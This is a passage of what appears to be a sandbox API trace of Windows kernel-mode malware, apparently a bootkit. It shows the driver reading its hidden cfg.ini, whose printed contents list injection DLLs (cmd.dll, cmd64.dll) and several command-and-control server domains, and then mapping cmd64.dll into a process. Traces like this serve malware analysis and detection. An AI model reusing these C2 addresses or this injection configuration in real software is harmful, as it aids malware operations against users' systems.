returned 0x0 [0070.182] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.182] KeEnterCriticalRegion () [0070.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0070.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.182] KeLeaveCriticalRegion () [0070.182] ZwQueryInformationFile (in: FileHandle=0xffffffff800001d8, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0070.183] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.183] KeEnterCriticalRegion () [0070.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.183] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0070.183] IdePortDispatch () returned 0x103 [0070.183] KeWaitForMutexObject () returned 0x0 [0070.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0070.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.183] KeLeaveCriticalRegion () [0070.183] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.183] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a003256af0 [0070.183] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0070.183] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0070.183] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0070.183] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0070.183] ZwReadFile (in: FileHandle=0xffffffff800001d8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a003256af0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a003256af0*) returned 0x0 [0070.183] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.183] KeEnterCriticalRegion () [0070.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354baf0 [0070.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d5351c0 [0070.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d5351c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d5351c0) [0070.183] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0070.183] IdePortDispatch () returned 0x103 [0070.184] KeWaitForMutexObject () returned 0x0 [0070.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0070.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d5351c0 [0070.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d5351c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d5351c0) [0070.184] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0070.184] IdePortDispatch () returned 0x103 [0070.184] KeWaitForMutexObject () returned 0x0 [0070.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.184] KeLeaveCriticalRegion () [0070.184] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.184] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0070.184] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0070.184] strncpy (in: _Dest=0xfffffa80028cbcb4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0070.184] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0070.184] ExFreePoolWithTag (P=0xfffff8a003256af0, Tag=0x0) [0070.184] ZwClose (Handle=0xffffffff800001d8) returned 0x0 [0070.184] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.184] KeEnterCriticalRegion () [0070.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.185] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0070.185] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8006f161a0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0070.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.185] KeLeaveCriticalRegion () [0070.185] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.185] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.185] KeEnterCriticalRegion () [0070.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.185] ExFreePoolWithTag (P=0xfffffa800351a160, Tag=0x0) [0070.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.185] KeLeaveCriticalRegion () [0070.185] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.185] KeStackAttachProcess (in: PROCESS=0xfffffa8003545630, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa8003545630, ApcState=0xfffff88002f8fa58) [0070.185] _snwprintf (in: _Dest=0xfffffa80028cbaac, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0070.185] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0070.185] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff800001d8, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0070.185] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0070.185] KeEnterCriticalRegion () [0070.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.185] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0070.185] IdePortDispatch () returned 0x103 [0070.185] KeWaitForMutexObject () returned 0x0 [0070.185] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0070.185] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0070.186] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.186] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.186] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.186] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0070.186] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0070.186] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0070.186] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0070.186] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0070.186] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800351d160 [0070.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.186] KeLeaveCriticalRegion () [0070.186] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.186] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800001d8 | out: SectionHandle=0xfffff88002f8f9e0*=0x3c) returned 0x0 [0070.186] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0070.186] KeEnterCriticalRegion () [0070.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.186] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0070.186] IdePortDispatch () returned 0x103 [0070.186] KeWaitForMutexObject () returned 0x0 [0070.186] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0070.186] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0070.186] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.186] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.186] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.186] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0070.186] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0070.186] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0070.186] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0070.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.186] KeLeaveCriticalRegion () [0070.187] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.187] ZwMapViewOfSection (in: SectionHandle=0x3c, ProcessHandle=0xffffffff800001dc, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0070.187] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0070.187] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0070.187] KeEnterCriticalRegion () [0070.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.187] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354c000 [0070.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.187] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.187] IdePortDispatch () returned 0x103 [0070.187] KeWaitForMutexObject () returned 0x0 [0070.187] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0070.187] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0070.187] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.187] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.187] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0070.187] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0070.187] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0070.187] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0070.187] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0070.187] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.187] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.187] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.187] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.187] IdePortDispatch () returned 0x103 [0070.188] KeWaitForMutexObject () returned 0x0 [0070.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.188] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.188] IdePortDispatch () returned 0x103 [0070.188] KeWaitForMutexObject () returned 0x0 [0070.188] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.188] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.188] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.188] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.188] IdePortDispatch () returned 0x103 [0070.189] KeWaitForMutexObject () returned 0x0 [0070.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.189] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.189] IdePortDispatch () returned 0x103 [0070.189] KeWaitForMutexObject () returned 0x0 [0070.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.189] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.189] IdePortDispatch () returned 0x103 [0070.189] KeWaitForMutexObject () returned 0x0 [0070.189] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.189] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.189] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.189] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.189] IdePortDispatch () returned 0x103 [0070.189] KeWaitForMutexObject () returned 0x0 [0070.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.190] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.190] IdePortDispatch () returned 0x103 [0070.190] KeWaitForMutexObject () returned 0x0 [0070.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.190] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.190] IdePortDispatch () returned 0x103 [0070.190] KeWaitForMutexObject () returned 0x0 [0070.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.190] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.190] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.191] IdePortDispatch () returned 0x103 [0070.191] KeWaitForMutexObject () returned 0x0 [0070.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.191] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.191] IdePortDispatch () returned 0x103 [0070.191] KeWaitForMutexObject () returned 0x0 [0070.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.191] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.191] IdePortDispatch () returned 0x103 [0070.191] KeWaitForMutexObject () returned 0x0 [0070.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.192] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.192] IdePortDispatch () returned 0x103 [0070.192] KeWaitForMutexObject () returned 0x0 [0070.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.192] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.192] IdePortDispatch () returned 0x103 [0070.192] KeWaitForMutexObject () returned 0x0 [0070.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.192] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.192] IdePortDispatch () returned 0x103 [0070.192] KeWaitForMutexObject () returned 0x0 [0070.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.193] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.193] IdePortDispatch () returned 0x103 [0070.193] KeWaitForMutexObject () returned 0x0 [0070.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80034c83a0) [0070.193] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0070.193] IdePortDispatch () returned 0x103 [0070.193] KeWaitForMutexObject () returned 0x0 [0070.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa80034c83a0 [0070.193] 